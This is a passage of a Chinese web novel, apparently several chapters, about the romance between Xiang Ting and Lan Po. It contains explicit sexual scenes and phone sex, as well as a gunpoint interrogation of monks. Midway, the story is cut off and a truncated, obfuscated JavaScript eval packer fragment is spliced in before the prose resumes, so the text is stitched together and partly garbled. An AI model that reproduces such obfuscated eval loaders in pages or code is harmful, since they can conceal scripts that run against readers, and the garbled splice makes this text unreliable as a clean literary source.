蓝珀悄悄挺了挺腰,短裙般的睡衣将他丰美的曲线暴露在外。一股不可阻挡的热浪袭来,项廷一把掀起他的裙子,猛一下就将他的内裤拽到了膝盖,褪到了他那是为了张开而紧紧闭着的双膝,镶着金线的薄纱芭蕾舞袜。 蓝珀赤裸而无助,宛如初生,显然是无法抵抗他的进犯的,混乱里摸到项廷铁疙瘩一样的手臂,哪哪都彰显着生育力好像极强的样子。 但就这个风急火旺的当口,项廷又忽说:“不点头,那你眨眨眼。” “……我一个要死的人了,管不了那么多了。” 蓝珀不是故意这样凄郁地哀叹,掉酸水。这就是他半生形成的性格底色罢了。 项廷把脸离开了他的脸,直起身体,定定地注视着他。 哪里不对劲。 从他进门伊始,蓝珀举手投足似乎都带有浓浓的情色意味,这好像是他无意识默契神会的社交手段,他只是轻轻地下饵,即能打着哈欠地等鱼上钩,鲨鱼鲸鱼都钓得上来。而这后面,其实隐藏着一种绵长的悲哀。蓝珀让人艳羡的成熟,实则是一种程度不轻的腐烂。 项廷猛然想起第一次,蓝珀像三流电影那般摇得不知天地为何物的时候,也是一副女鬼妖精的形态。颠狂柳絮迎风舞,轻薄桃花逐水流。我早已把生死看透,还在乎我的身体吗? 事翻篇了。可是眼下,他们难道还没开始爱情的萌芽就往性引申了么,这不是堂而皇之开历史的倒车吗?君以此始,必以此终,随之跌入的必是毁灭的深渊。此时与蓝珀不是欢好,是把匕首插到他的身体里。你的衣服剥光,你在他眼中以后不过就是个恶心的色欲者罢了,而他的世界早已经是一具具相似肉|体的集中营了。如果连少年时代那样纯洁纯真纯净的故事也能褪尽了色彩,他在这个世上还该相信什么呢?你这一次绝对会拧断天鹅的脖子。 蓝珀无限温存地摸了摸项廷凉凉的脸,熟惯地用甜言蜜语包装一下:“想什么呢?你那点小鬼心思,算什么风流罪犯呢……” 蓝珀把茁壮成长的它用两只手捧起来,美美一叹:“宝宝怎么这么胖呀?” “是不是想妈妈想哭了?”他甚至捡他最喜欢的说,用爱和小雪感化坏孩子,“妈妈就是这么下贱啊……想一边冲奶粉一边被宝宝干……” 紧接着项廷竟像个巨婴废物从他身上滚落了下来:“我不是图你这来的!” 蓝珀瞬间变脸忍无可忍:“我数到三!” “三。” 项廷立正。 “二。” 项廷踏步。 “一点五、一点三、一!” 项廷党性充裕地把蓝珀的内裤提了回去。 他的手实在粗笨,没有丝毫怜香惜玉的色彩,劲大导致蓝珀嘶了一声。像在给蓝珀换尿不湿,一时间分不清谁才是宝宝。 蓝珀还上手扒拉了两下:“既然没有人看我的身体,我光着睡怎么了?” 项廷关切道:“着凉拉肚子啊。” 蓝珀终于情绪一点不剩了,亮出一副大白嗓叫道:“那你来这一趟是干嘛的!” 项廷不讲话,任蓝珀把所有拿得动的东西都扔到了他身上。 “滚!”蓝珀近似尖叫,回声激荡波士顿上空。 就被驱赶到门口,项廷裤子卡屁缝,鞋还穿反了,外套和人一起丢垃圾一样被丢了出来。 “全世界多的是想给我脱衣服的男人!”蓝珀牙咬得痒痒,“你这么喜欢帮我穿衣服,你别再找我了!” 项廷扒着门缝最后看他一眼,脱口而出:“我是想给你披婚纱啊!” 夜风吹袭,项廷被酒店保安叉下了楼。 回到车里,默不作声拿出一块小黑板。 黑板上贴着一块墙皮。那是当初他来到美国的第一天,在那个昏暗的地下室订下的三个小目标:学英语、出人头地、抓姐夫的奸。 现在他把黑板翻过来,记号笔又沙沙写着什么。 他要做什么?事在没解决的情况下,光说是说不开的,治标不治本,蓝珀永远过不去那道坎。如同现在的蓝珀,挣脱了肉|体禁锢,却戴上了精神枷锁。所以他必须要消灭蓝珀心里最深的那个疙瘩,把蓝珀从魔咒中真正解脱出来。他要让人鱼安心地回到那片海,他要屠尽了世界上最后一条恶龙再去迎娶他高塔上的公主,他要给蓝珀披上一件纯白的婚纱,送他一个干干净净再也没有人能够伤害他的未来。甚至那个未来有没有自己,都已不太重要。 具体计划很复杂。项廷写着写着走神了,回过神来时候,发现笔下多了三个不相干的字。 我爱你。 忘记跟蓝珀说了…… 没关系,不重要。 爱不爱,事上见。 项廷稳健地把控着方向盘。饶是他身手敏捷、行事警觉,也难以避开眼下内外所有的明枪暗箭,要是再往私事上多分点神,那不得随时有万箭穿身的危险。而且现在是为了他们两个人奋斗,不能再像毛头小伙子那样冲锋陷阵了,一切要稳中猛进。而这一切蓝珀都不必知道。蓝珀可以简单,但他必须复杂,只因他是男人。 车到了家门口,项廷把黑板放到一边,想到把这些目标消灭一个不剩以后,他要跟蓝珀生一万个小孩,热恋一千集。 想得很美,项廷不由在车里舒展双臂,做了一个反手截击的篮球动作,刚好挥到了窗外的枪口上。 挂着杆枪等他的,是南潘。 “你猜得一点没错,”南潘说,“招标会搞你的,就是那个人。” 93.向来痴与从此醉 当晚,何崇玉于屋顶酒吧偶遇蓝珀。 他肩上披着一件衣服,头发松散地拢到脑后。从远处看上去虽有些模糊,但还是能看清一定是蓝珀。那么漂亮的身段,那种柔美而不乏韧劲的腰身,怎么能是这世上第二个人呢? 泳池底部的光纤灯如星空般闪烁,蓝珀左手烟右手酒,坐在一米二的浅水区岸上,脸上的神色犹如要投水。他不送秋波也不跟人耍笑,一副旁若无人的样子。但大家好像都已乖乖就范了,只因发生在蓝珀身上的一切都余味无穷。蓝珀更非一个个地逗弄他们,只是说道,我就是喜欢能喝酒的男人啊。吧台上、桌子上、地上的酒瓶子迅速形成一座座峰峦。 他点烟倒酒都不用自己动一动,然后没有任何预兆地将一位年轻的贵族推下了水。 何崇玉以为爆发肢体冲突,冲上前去息事宁人,谁知诸君对那位落水男子发出一片妒恨的嘘声。乘着六十八层高楼的恋风飘飘欲仙,众生有缘,谁不想投怀入抱而得拯溺? 那幸运的男人从水里抬起一颗湿漉漉的头来,醺然身处香水海,湿身是他的荣耀,跟蓝珀说话简直像跟神明说话一样。 蓝珀说:“我问你一件事。约好不准对别人说的。” 那男子说:“我怎么会泄露给别人?这会是我一辈子最重要的东西。” 这热闹景象令何崇玉终身难忘,真是一场不适合他的狂欢大会。但他还是认出了那陌生男子是国务卿之嫡长子,何崇玉去年受邀去白宫演奏时见过一面。正垂手听候吩咐的他爸是参议院临时议长,蓝珀右手边的那位则是内阁幕僚长的侄儿。 原本不知不觉喝多了的蓝珀,忽然眼睛有了神采:“一个中国人,能怎样明天就当上美国总统呢?” 这真是前所未闻之事,但众人没一个笑了出来。蓝珀慷慨地说:“在这种半醉半醒中,有什么愿望都可以说出来。” 他讲话总有种魔力,忽远忽近,又正好擦着耳朵似的。大家听罢,又是一阵欢腾。 男人双臂抻上来凑上来耳语几句。蓝珀想了想,说:“好像也很好玩。” “在人前吹嘘自己、大言不惭的,我见过的十个男人中得有一个吧。”蓝珀就这样有口无心地支应着他,“不过是你的话,你的话我尚可以信一信——如果你肯为我切掉一根小指头的话。” “对不起打扰了!” 何崇玉忽然叫道,穿过剑林火海般一道道的目光,把蓝珀拽了起来。 “看路!让一下!别碰着!”何崇玉顶着前所未有的压力劈出一条路来。路过明档的时候,铁板帅哥抡起斧头将鱼头砍掉了。夹着蓝珀飞速远离色情和荤腥,不见踪影,何崇玉还殿后性质地回望了一眼:蓝珀温酒用过的杯子,甚至没入口的那只,为众人所竞逐。不乏有穷追不舍的男子,何崇玉四处躲逃。 回到房间,何崇玉给门上了三道电子锁,把蓝珀的鞋脱了脚搁到床上,托着他的头靠在枕头上,又把床头柜上一只反扣过来当烟灰缸的瓷碗里,散落着一堆吸剩的烟头都倒了,小心侍候,一切都弄得舒舒服服的,然后才怪道:“你可真有雅兴啊!你这也……这太不成样子了!” 蓝珀翻了个身,四肢趴下,脸闷在枕头里发酒疯:“我是美国总统……” “是,你这种赋闲的大财主,当然终日尽情游乐。但不能凭着有钱有势就任性胡来啊!你是一个有妇之夫!”何崇玉继续数落。 何崇玉难以形容蓝珀在名利场、男人堆里巧做周旋的具体模样,一是因为自己羞耻之心,二是似乎不能断定蓝珀有心。他在风月人间中样样游戏都玩得天真烂漫,好像错全在人家,他只负责驾到。 何崇玉含糊道:“你当美国总统的时候,有没有想过你的妻子、你的孩子?” 家庭美满的男人却要去外头招|嫖。想来想去,何崇玉还是百思不得其解,想拉蓝珀起来辩经。但蓝珀好似睡得香甜,何崇玉在床边纠结地坐了一会便放弃了。将蓝珀的鞋子拿到玄关烘干,又在房子里转了一圈,再转了一圈,每间房都仔细看了,没有陌生人。顺便看到今天买的蛋糕附赠了一只毛绒小熊,若有所思。床头的小熊可以打败梦中的恶龙啊,何崇玉抱起熊再次回到蓝珀的卧室。 映入眼帘的蓝珀把被子全蹬了,带衬里的衣摆高高地掖起来,蒙住了自己的脸却露出了后腰。腰上有块癣,像口疮。那是一颗六芒星,活的海星那样蠕动着。 何崇玉以为他热了,推开窗子,月光照了进来。看着屋檐下落上白霜,忽然听到一声极其匆促的抽噎声。忙惊愕来到了床边,疑心自己话说太重了,抚了抚蓝珀的背说:“我不是怪你,我是说你这事情的确做得太不合体啦!一个男人记得有一个家,一个女人和一个孩子在等你,那就算走运了。你这样你当总统……是为了什么呢?” 蓝珀把头发潦草地向后抓了一下,在枕头上侧过头,露出小半张脸来:“我测试我的魅力。” 何崇玉非常震惊,这就像鱼测试游,鸟测试飞。一时间无话可说,又安慰性地拍了拍蓝珀的背。 蓝珀的手驱赶他的手,何崇玉手落回来就稍稍移开了一点。隔了一会儿,蓝珀的手又追过来,似乎是不经意地在何崇玉手边又摩挲了一下,见他没动,就抓着他的手说:“你的手这么软,很好看,有人告诉过你没有?” 何崇玉把那只手抽回来,用自己另一只手仔细捏了捏说:“是吗?我怎么没感觉?” 蓝珀摸到遥控器,一边打开电视机,不停地调台,一边说:“没有什么好节目。” 又说:“你真的觉得没有更有意思的节目了吗?” 何崇玉很认真地盯着屏幕说:“你换得太快了,内容你都不了解。” 蓝珀稍稍坐了起来又蔓又枝,把下巴搁在他左边的肩膀上说:“不深入接触怎么深入了解呢?” 何崇玉本能地还在调台,一转过头看到蓝珀的双眼似乎在倾吐着一种诉求,这才慢了足足八个拍地心脏猛跳了一下! “你喝多了!我走了!”何崇玉几乎跳起来。这方天地已经没有信仰的生存空间,他的所有细胞都加入了一个大合唱。 “再坐坐不行吗?只是坐一坐,坐一坐。”蓝珀抓住何崇玉的一只手搁在膝上,朝他努了努嘴说。 因为这个问题让他的心里七上八下,离了谱,错了拍,何崇玉半晌道:“你这是一个音乐式的问题……” “哦,音乐。” “在乐章中,保守的力量比纵情潇洒的力量要大得多。”何崇玉规劝。 蓝珀仿佛听不见,转头的时候在何崇玉身上用力吸了一下,好像还嗅到了项廷留下的那一缕火热的青春气息。再吸吸鼻子,又没有了。喃喃道:“烦人呢,烦。” 蓝珀另一只手搭着何崇玉的肩。何崇玉觉得不舒服,跟搂着女人的感觉完全不同,跟男人搂着的感觉也完全不同,难以理解。何崇玉不想理解,也害怕理解。如果要他理解这些,那他在这个星球上乃至四维五维的领域就没有什么不能理解了。 可是何崇玉忽然理解:“你……你在拿我做测试吗?” “也不一定,”蓝珀还不承认,“说不定缠绵一会儿情绪就有了,你也准备准备进入状态。” 蓝珀噗一声倒回了床里,床明显地弹了一下:“对了,是不是要向谁请示?你老婆,还是你儿子?” 他把头仰上去,镜面的天花板映出了他的醉态。他伸出手指点点何崇玉:“还傻着,不会有歧义吧?” “有、有、有!”何崇玉把装醒酒汤的杯子在玻璃桌上重重顿了三下。 然而下一秒他就被拽进了蓝珀的大床里,何崇玉想用力想点什么话来说,一设想又干巴巴的,一点都不滋润。脸逼着脸,还是蓝珀先开了口。 “你那样望着我干什么?我老得那么快吗?”他先是轻笑一声,紧接着爆发似的笑出声来,笑着笑着,声音变成了啊啊啊啊,是凄厉的哭声,汹涌的泪水全乎忘了避人。 何崇玉不常哄人并无旧例可援,仓皇道:“你别哭啊!你、你想怎么样?那你测试,你接着测试我好了!但你允许我有个过程啊!” 蓝珀使出全身力气一肘,胳膊把他撇得老远:“我一闻到男人的味道就犯恶心!呕,呕!” 除了某个男孩,他身上有青草的气息。蓝珀从未遇到过如此洁净的男性肌肤。项廷是草吧,会长成树,变成和他一对连理相生、松风飒飒的枫。 何崇玉绞尽脑汁想了一万种蓝珀伤心买醉的理由,终于切题:“你和项廷闹不愉快了吗?你别跟小孩子别扭啊!和小孩子有什么过不去的?” “项廷不是小孩子!”蓝珀尖锐爆鸣,“他是我自己指望了好多年的一个男人……” 他如此率直地袒露了自己的恋心。但可能是他们这对组合太过奇谭,何崇玉压根没往那方面想。主要是何崇玉自己潜意识里紧急避险,他不愿承认自己交往了一个觊觎妻子弟弟的朋友,作出什么见不得人的丑事来。淫奔罪已极矣,况渎亲伦乎?何崇玉向来很擅长给自己打造茧房。 烂醉如泥的蓝珀接着发疯:“恋爱是两个人的事情,他怎么能不理我了呢?” 何崇玉脑子里一响:蓝今天说话怎么怪怪的?算了,可能是我自己心里有点怪吧!选择性过滤他的话以后,为难地叹口气,毫无头绪地说:“他不理你不理就是了,除了他谁不理你?美国总统都好想理你啊。” 蓝珀双眼似睁非睁,一只手摸索过来,摸到一个闹钟砸到何崇玉脑门上:“美国总统不是项廷,那美国原地解散好了!” 何崇玉至此已彻底昏厥。蓝珀,聪明人要是心眼坏的话杀伤力真大! 恰此时一个声音让他解脱了。 “爸,”儿子站在卧室门口,“叔。” 蓝珀迷惑地望着天花板,搁浅的鱼儿一样无助。不但没有刚才哭到陶醉的神情,突然恶狠狠地对着空气说:“你才是叔!” 何崇玉赶紧揽过儿子: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这属于何崇玉的臆测、直觉。七年前他在一个社交晚宴上邂逅蓝珀的时候,蓝珀袒露他来自中国的一个小乡村。当代在那样的山沟里竟能产出这样精致稀罕的艺术吗?何崇玉大吃一惊。但他的美丽空无一物,似乎什么样的浪漫和诗意都不敢设想。没有心思去做恶魔,也没志向去当英雄,蓝珀只是像屋檐下的风铃一般摇摇晃晃地一天天过日子,好似生活里不是缺憾就是虚假。他细声说话,一句话的后半截总是被他自己吞掉,尤其喜欢在微小且关键的地方搞留白,该说他是过分惜力呢,还是别的什么?总之这个人已经消极到无法用语言来形容的地步了。原来,他的艺术是被黑暗之主的雕琢过的。直到遇到项廷,何崇玉隐隐觉察蓝珀把那个内在的真实自我,尖叫出来了。 何崇玉把手机递到床前。也不知过去了多久,蓝珀才从被子里探出头来。他不敢睁开眼睛,似乎稍一松懈就会看到一个狰狞的世界。他感到满脸都皱巴巴的,绷得很,眼角好涩,动一动腮才知道是泪痕干涸,在脸上结了一层膜。 项廷说:“你哭了?” 声音带着杀气,不甚温柔。蓝珀糊里糊涂赌着气,挂了。响了,不接,又响了。 蓝珀第五次才接起来。吞声忍恨道:“我是被你容易糊弄的傻瓜了,以后当上美国总统来我这也寻不到开心!” 电话对面咚了一声,紧接着,砰。 “你干嘛呢?”蓝珀不高兴他走神。 “打台球,”项廷貌似轻松说,“帅不帅,我一杆捅三个。” 项廷确实正拿着杆子,但是枪杆。 绛红氆氇地毯上,正跪着三个头戴黄色鸡冠形高帽的藏僧。南潘的机枪挨个顶上了他们的脑门,点兵点将似的轮了好几圈。项廷做了个手势意思是,指挥权交给你了。 项廷走出禅修室,外头由凯林把守着。墙上粘满了被罚倒立的人,都是今天在蓝珀课堂上捣乱的学生。 项廷还没从那个冷面的形象中走出来,以至于蓝珀疑似又在无理取闹的时候,项廷硬邦邦地回了两个字:“别扯。” 蓝珀几声气恼的惊叫之后,竟然没任何响动了。舌头在唇边反复滑动,没作出声来。只感觉心被粗暴地一把攥住了。 跟蓝珀玩心眼子打太极是忌讳,拈轻怕重地伺候他更不讨一点好。其实蓝珀独独对项廷,还真有点逆来顺受。因为他的人生看不见前路也摸不准后路,所以他深深祈盼有一个人引领着他走,他是菟丝子需要攀缠依附,他最需要那种入室抢劫式的爱情。越是乱麻越渴求快刀,越是繁枝细节越要一把薅。显然项廷在粗糙的这方面,强得没边。与蓝珀不用一丝的磨合已是榫卯。 “你到底哭什么?”项廷因为还要回去办正事,压缩时间言简意赅,“哭我没干你?” 蓝珀哭累了,声音很弱但是更尖了,已经是崩溃边缘的精神游离状态了。 项廷心情很差。明明是他再三警告南潘,没打算开枪就不要拔枪,不到万不得已绝不可以以暴制暴。但是那些藏僧只把他们犯下的暴行说了个头之后,是项廷毫厘之差杀了人。 他在墙沿下一边擦着枪一边说:“别叫了。” 蓝珀随即在心中冷笑了一声,但他好像破天荒地也只敢在心里冷笑。挺了挺脖子,在枕头上把自己蹭得披头散发,然后轻轻侧了身体,用兔毛毯子遮掩着光裸的大腿。项廷的强硬堵得他心里痛,却也涨涨的。被攥住的那颗心被拿去煎,还是拔丝的,又疼又黏,又甜。他装作什么也不知道的样子,把那只玩具熊抱过来,双腿绕在熊的腰上,悄悄,夹了夹腿。 “把衣服脱了,”今夜的一切都令他忍到尽头的项廷,猛虎乱撞鬼火直冒,把火热的枪别回了腰上,“我就在这干你。” 94.自知明艳更沉吟 “你不要胡搅蛮缠……你别逼人太甚了。” 熊被烤熟了。喜不自禁的慌乱在蓝珀胸口搅动,心痒难挠又心花怒开,感觉像晕船似的。他摸着床头柜,大理石台面冰着手心,好受一些。又从抽屉里取了酒精棉片,一下下擦拭眼皮。 “我逼你了?”项廷也试着平心静气,但是表情上一帧和下一帧都对不上,通话里响过一阵叽里咕噜的泰国话,项廷突然破口大骂,“整个一傻逼,你去操他妈!” “你说的叫什么话?”蓝珀猛一下差点被击倒了,蹦了起来。 “跟朋友聊天。” “这么晚了跟哪个朋友?项廷!你从哪里学坏的?要不要我现在过去干脆给你撮合一下!” “生意上的朋友。” “你反正会编,编了无数故事给我听了,已经是出口成章口若悬河天衣无缝的八段高手了!”蓝珀忽然低落了,自己过得不怎么样,对项廷更是没用,想起来就灰溜溜的,只能说两句风凉话,“你怎么这样对商场上的伙伴讲话?火候你得自己掌握,也不能由着性子走极端呀,别一精起来就老谋深算,一傻起来就流鼻涕……” “去他妈的,这事你别管了。”项廷大包大揽地说,“脱光了没?” 蓝珀大惊小怪地嚷了起来:“你!你!” 项廷在外闷声干大事,投入事业到这个地步上的时候,不太关心后院着火没,反正是蓝珀别玩炸药包就行:“又叫又叫,我头都给你叫大了。再叫一个?” “贱狗,贱男人,我真后悔认识你,否则我怎么能把自己看得一无是处呢?” “我管你这那的。你天天躺家里,负责摆造型就行了。” “我跟你两个世界,两个种族,前前前世的陌生人就不要对话了!” 项廷这边世界:不远处的南潘身着沙漠色作战服,战术腰带上固定八个AK突击步枪弹夹,腰缠万弹,露出地狱绘卷上伥鬼般的冷笑;凯林两眼警惕地向四周巡视着,平均每隔半分钟来请示一下项廷:要不要让墙上这帮熊孙子见识一下我们热血沸腾的组合技? 蓝珀这边世界:蓝珀醉醺醺的不知天地为何物,更不知何崇玉像产房外的丈夫,在客厅沙发上掩面虾弓、拍膝画圈,赖着没走。蓝珀刚被项廷几句他妈问候得略略一清醒,口有些渴,摸到夜床服务时补充的酒水,一线喉到胃里才意识到是多烈的酒,噗嘟一声倒在三明治式、回弹性极佳的羽绒大床上,三捧晚安致意的玫瑰花立即跳了起来,花瓣撒了满房,花如肉色妖娆。 项廷回去紧急刑讯了数个回合,十分钟后挂上挡猛踩油门,汽车飞快地驶入黑暗之中,在极僻静的高速路边下了车。月下披着一件深色风衣,坐在车头低声说:“睡着了?” 蓝珀仿佛陷入云端,蒙然坐雾,大腿连根被轻盈包裹。晕头晕脑摸了摸——他明明觉得没有撩开裙子,是裙子被风掀起来了。 项廷压着邪火,语气好了不少:“我不是非不当人,跟你玩游戏,就想听听你声音。” 蓝珀嗓子模糊地响了几声说:“小孩游戏…我才不跟你瞎闹。” “行我小孩,”项廷从善如流,“小孩饿了要吃奶。” 蓝珀慢慢把被子拉起来,可感觉不止一处危险,从锁骨到脸颊都裹进珍珠色软缎里,声音闷得能拧出水珠:“强盗逻辑,臭丘八,爱上谁家抢上谁家去。” “就逮着你吃,吃完左边吃右边,吃饱吃撑吃爽。” “才不给……” “敢不给?” “早就没有了。”蓝珀暗戳戳拿了个劲儿,“先到先得。” “谁得了。不想活了。” 项廷冷冷的,蓝珀心里又是蓦地一热。气氛刚刚微妙起来、成人了一些的时候,便听项廷那边突然好大的动静。 “你怎么了?” “我靠,我车钥匙落车里了。” “……小屁孩!”蓝珀听了很无语,睁开了陶然的醉眼翻了个斜楞的白眼,最需要项廷当男人的时候,他又像个臭小孩,“那怎么办?外面冷不冷?你在哪?我现在去接你啊。” 项廷曲肘向驾驶座侧面的玻璃巧劲一撞,车窗玻璃发出一声闷响,玻璃面上立刻布满了密如蛛网的裂纹,但没有飞溅破碎开来,项廷用手在碎玻璃上掏了一个洞,伸进手打开了车门:“没事了。” 蓝珀还在沉浸当家长:“快点回家吧,这么晚了不安全。” “等完事的,”项廷斩钉截铁道。 蓝珀正要宣读一下宵禁的条例,忽然听到那头风声熄了。项廷刚才在外面,风大。现在他应该回到了车里面,寂静的空间里,窸窸窣窣的声音极其刻意,尤为下流…… “你……”蓝珀一秒面红过耳,“你在做什么?” “在给你做个表率。” “你!我!你……”能让情场上呼风唤雨纵横捭阖的蓝语无伦次的时刻,终其一生怕也不多,“我不听我不听!” “那你挂啊。” 蓝珀盯着挂断键盯出火来。然而入耳的音节被碾碎成短促气音,项廷的呼吸逐渐失去规律,时而急促如骤雨拍窗,时而绵长如热浪裹挟耳膜……仿佛都能看见他脖颈上的青筋随喘息起伏,汗珠顺着喉结滚落,在年轻的皮肤上灼烧出蜿蜒的痕迹…… 所视所听编织成一张密不透风的网,蓝珀被网那儿不能扑棱不能动弹。舌头也越说越麻了:“你看,狗就是狗,终于龇出牙来了,机会来了是不是?在我这儿还装得那么纯洁,正人君子似的,这回总算露出狰狞面目了吧?……” “我什么时候装纯了,没发现吗,从进门我就盯你嘴巴看,”吐息都似乎带着灼人的火星,溅落在蓝珀耳后的肌肤上,“想打你嘴里。” “……你犯罪,你违法,你不许!” “如果它突然飞到你的嘴里怎么办?” “不要想那么恶心的事!”蓝珀突然拔高声调,是想表示他几乎要窒息了。但与此同时他又攥紧了床单,毛绒熊都被他白皙的双腿绞得扁扁的了。 项廷一时无话,蓝珀立刻就急了:“别这么安静好不好,我害怕。” 电话里的喘息,戛然收束于牙关紧咬的一声闷哼。 蓝珀发誓他不想听,但那些声音钻进了他的耳朵里,在里面繁殖。 “说话这么小声,是不是下面很小?”蓝珀戳了戳他。 “忘性大还是不长记性?” “小小孩,你小小的。” “人教人教不会,事教人一教就会,明白么?”擦擦手,看看手,一副刀枪入库、马放南山的感觉。本就没尽兴的项廷,越回想又越要命,“不明白还敢穿那种衣服?” “什么?我穿正常的睡衣……” “正常吗,又薄、又紧、又滑,我手一抓就溜了。他妈的,坐你对面什么都看清楚了……”秀色可餐,可这也太丰盛了。 “那你不提醒我!” “提醒我自己,下回带个照相机。” 被项廷话里幽深的恶意奸|污得,蓝珀脸红得要滴血了。 项廷还说:“那就打你两颗小石子上……” “你……你能换个,换个好听一点、书面一点的!” “软软的,粉粉的,香香甜甜的小桃子啊。对了,奶嘴……” “住嘴吧!快住嘴!我再也不给你做饭了,我下回一定穿围裙!” “穿围裙好,一件衣服别穿。” “啊,”蓝珀被他污染出了深深哭腔,“天哪,你和我相差十岁,思想这么前卫,我倒成了老古董了,你到底和多少坏朋友学来的?” “天天晚上想你想的,”项廷更低哑了,“知道吗,我有瘾。” 蓝珀恼羞成怒,恨不得一拳砸到项廷脸上,可项廷已经把话说到了这个份上,蓝珀能怎么样?也只能忍了,受了。又不甘心,想伸手在项廷光屁股蛋儿上使劲掐一下。摸遍了被子,才发现独守空房,恨得把熊压缩到怀里暴力揉弄。拍在熊脸上,这一巴掌可真沉猛啊! 他醉得更厉害了,视野如同被水浸泡的油画。一瞬间他迷了路:项廷真的不在他身上吗,不在他身体里,占有、伺弄、缠磨、孕育吗?可他的身体明明感觉到了前所未有的温暖,潮热极了…… “你撒谎,你想我,搞得好像我要把你怎么样一样,那个,你不是打死不愿意?” “怪就怪我太稀罕你了。早知道梭||哈了,大意了。” “我白送你还不要,你给我找什么自尊心啊?……你敢走,把我一个人扔下,你安的什么心……” “就是白送,白吃白拿,我怕你虚不受补,吃不消啊,吃完就翻脸,你我太知道了。” “项廷,你又来了!我说白送可以,但你不能说,我白送我能不知道吗?但是不能从你嘴里说出来,不然我成什么啦?” “好好好,不是白送,是奉献,不怕牺牲,就像雷锋同志一样,是做好事。” 蓝珀嘟囔了一句:“废话这么多都没感觉了……” “谁感觉?哦……”项廷的笑传了过来,滚烫直抵耳膜,“做好事不成,你也开始做坏事了?” “……怎么这么坏呀。” “坏的还指不定是谁。” 连弹带唱,鸣啭才几声,蓝珀那儿就渐渐变了调。好像并非正行极乐之事,而是经历阵痛即将分娩。 平白无故,蓝珀忽然又有点想哭,他一直在吸鼻子终于没有忍住。不是撒娇闹人的哭,却是一种特别自弃、自毁,在心中化解不开的哭泣:“对不起,真的对不起,我不是白送,我没有,好恶心!我老到你了丑到你了,我眉毛都没有几根了,曾经我也想过一了百了……但你相信我,我本身不是一个很随便的人…我每天除了睡觉就是洗澡,我很干净的……” “我知道,”项廷语气很重,“我都知道。” “你不知道,你笨得莫名其妙。但我就是喜欢你这样,谁年轻不犯蠢呢!但愿你永远不要知道我是病糊涂了还是真疯了……” “我知道你什么病,给你治了就完了。”项廷喉头哽咽了一下,他的心从来就没这么痛过,凌迟不能及,原来被处以人世上千般万般的极刑竟是这般滋味。如果可以转移一丝蓝珀的痛苦,他会毫不犹豫自插一刀。项廷笑着说:“一天到晚哼哼唧唧日子还过不过了?” “就算治好了,我也回不去了,我早就疯掉了……” “蓝珀,”项廷一口气呼出去,几乎吸不进来,许久才说,“你要疯,我就陪你一起疯。” “不需要的,我的自私我不想再让你背负了。况且,你也不用跟我好一阵歹一阵的,我除了那个,没有别的东西留住你,没有本钱霸占你。你长大了,你这么好,处处都好,美国总统又算什么,这个世界的一半是你的,剩下一半就是你的另一半了。你会把我甩在你身后面,很远很远。而我对这个世界已经断念了。只要是一个欲求正常、眼睛不瞎的男人,都知道该怎么选的吧?” “少来这套,拉倒。” “我在花旗银行用你的名字存了六千万,是我这些年的积蓄。洛桑、蒙特利尔我也给你各买了一套婚房,如果住不惯瑞士和加拿大,也可以去香港,只是房间有点小。但是我挑好了两个靠得住的菲佣,一个司机,给上届港督开车的。对不起,我回不去大陆了,北京的话我没办法……其余,人脉我都打点好了……” “吃软饭我还要脸。你不成心把我格局做小了吗?” “总之谢谢你。就算我瞎了眼,迷了魂吧。我以为此生还能真心爱一次,也被人爱一次。现在你替我开了眼,替我醒了梦。”蓝珀固执地说,眼泪就要夺眶而出,“反正,等你找到了那个命中注定的她,我就出家去……” “呵,”项廷学他的口吻,随喜赞叹,“你明天就找个庙试试,我看上天地下千儿八百哪个佛敢收你。” “佛就是魔,魔堕成鬼。” “鬼肯定退货。” “你该了解我。我是个最没用、最脏的人,这些年却清清白白地想透了一些事。” 项廷人还挺好,顺着他说:“这时候资产阶级的软弱性就体现出来了。” “……虽然我是很软弱的人,但人的一辈子总有那么几次,一颗软弱的心硬起来,它会比最坚硬的石头还硬,这就是我向佛的心。” “佛是个球。” “项廷,你又胡说八道,我好恨你,你过去未来一直瘟我,再胡说你就给我滚。” “我是佛他大爷,你都向我孙子了,一心一意向着项廷行不行?我未必差了?” “大逆不道快收回收回!你就不怕因果报应,你不怕死!” “人如果不怕死,那能做的事太多了。”车里的蝎式冲锋枪很占地方,项廷把它和小黑板一块扔到后座去,“瞧好吧,该下地狱的下地狱,上天堂的上天堂。” “傻小子,傻东西,你吓我还是骗我?就你会唱大戏,唱迪士尼的童话呢。” “你记住,我项廷做不到的事一个字都不会说。” 蓝珀几乎一个字没听进去,特别恍惚地问:“那你,那我,我和你,我们呢?” “你又想七想八,跟了我什么破事都没有,咱俩就这样在人间过一辈子。” 蓝珀忽然显露出少年时代的倔强热烈急性子,怨魂索命似的追问:“那孩子呢!我,我其实是不太能生的……” 话到一半他就把那个充满勇气的劲儿卸了,转瞬又被黑云般的忧愁席卷,蓝珀泪流了满面:“为什么,我不是真的圣女呢?” 一阵摩托车发动似的的巨大噪声,五秒狂飙上高速的推背感,差点给蓝珀隔着手机甩出去了。 蓝珀惊恐道:“你去哪里?” “我来找你啊。” “找我做什么?” “我来抱抱你,”项廷连闯三个红灯,“我看你当我面还敢说屁话,拔份儿?” 蓝珀惊恐极了,这么快!他身下的床单还没有来得及洗,脏兮兮乱糟糟的。忙说:“你敢来我就出家!” “敢当尼姑我就干死你。” 蓝珀这下是真怕了。距离感生出完美感,而那个为所厌恶的自我,此刻头昏脑涨的似乎没有什么隐藏的本能,也没有封闭的意愿,他会见光死的。忙说:“我没有见你的准备……算我求求你好了,对不起。” “再说一句对不起‘打’你一次。” 蓝珀心里说真讨厌他的粗鲁,但行动上用熊脖子上的丝带绕了绕手指,觉得这有些调情,羞耻地触电般的放开了。 项廷思想和行动上都是巨人,一哧溜就到蓝珀酒店楼下了。 蓝珀傻乎乎的紧张得声音发抖:“真的不要了,陪我说说话就好了。那刚才的话我再问你一次,不孝有三,什么为大?” 把传宗接代的问题抛给一个十八岁的男孩还是太超前了,说实话,项廷还真没想过革命事业后继无人。主要是他一向没太发现自己是同性恋,或许因为蓝珀不是很男人。同性恋的世界不可名状,他尚未进去闯荡。 项廷结构化地思考了一下。一则他最近一次见到小宝宝的时候,是他姐的宝宝。当时的他怀疑过蓝珀的种,实在不是什么美好印象,可以说,很阴影,极有警世意义。二来,宝宝怎么生下来?得从蓝珀的屁股里爬出来。但蓝珀的屁股是属于他一个人的屁股,他将一生爱护保护守护。 项廷想着想着突然生气了:“用着他顶大梁吗?” 